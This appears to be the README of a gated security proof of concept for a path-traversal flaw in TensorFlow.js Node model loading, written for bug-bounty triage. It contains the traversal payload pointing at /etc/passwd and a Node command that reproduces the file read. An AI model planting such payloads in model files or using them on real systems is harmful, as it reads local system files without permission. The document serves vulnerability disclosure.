| --- |
| license: mit |
| tags: |
| - security-poc |
| - do-not-use |
| --- |
| |
| # TensorFlow.js `model.json` path-traversal PoC (gated security artifact) |
|
|
| **Gated security PoC. Access restricted to huntr / ProtectAI triage (`protectai-bot`).** |
| This repo hosts a **malicious** TensorFlow.js model file that demonstrates an arbitrary |
| local-file-read triggered purely by loading the model in Node.js. Do not load it on a machine |
| whose local files you care about — it reads `/etc/passwd` into the model's weight data. |
|
|
| ## The malicious file |
| `model.json` is a valid TensorFlow.js GraphModel manifest. Its `weightsManifest[0].paths[0]` is a |
| directory-traversal string: |
|
|
| ```json |
| "paths": [ "../../../../../../../../../../../../../../../../../../../../etc/passwd" ] |
| ``` |
|
|
| When `@tensorflow/tfjs-node` loads this model, `NodeFileSystem.loadWeights()` does |
| `readFile(join(dirname(model.json), path))` with **no containment check**, so it reads |
| `/etc/passwd` and returns its bytes as `ModelArtifacts.weightData`. |
|
|
| ## Reproduce (standard "download a model, load it locally" flow) |
|
|
| ```bash |
| npm install @tensorflow/tfjs-node@latest |
| # download model.json from this repo into ./m/ |
| node -e ' |
| const tf = require("@tensorflow/tfjs-node"); |
| tf.io.fileSystem("./m/model.json").load().then(a => { |
| console.log("bytes read:", a.weightData.byteLength); |
| console.log(Buffer.from(a.weightData).toString("utf8").split("\n").slice(0,3).join("\n")); |
| }); |
| ' |
| # -> prints the first lines of /etc/passwd (root:x:0:0:...) |
| ``` |
|
|
| `tf.io.fileSystem(...).load()` is exactly the handler that the public |
| `tf.loadGraphModel("file://.../model.json")` / `tf.loadLayersModel("file://...")` entrypoints use |
| internally. The same sink exists in `@tensorflow/tfjs-inference`. |
|
|
| See the linked huntr report for full root-cause, affected packages, and remediation. |
|
|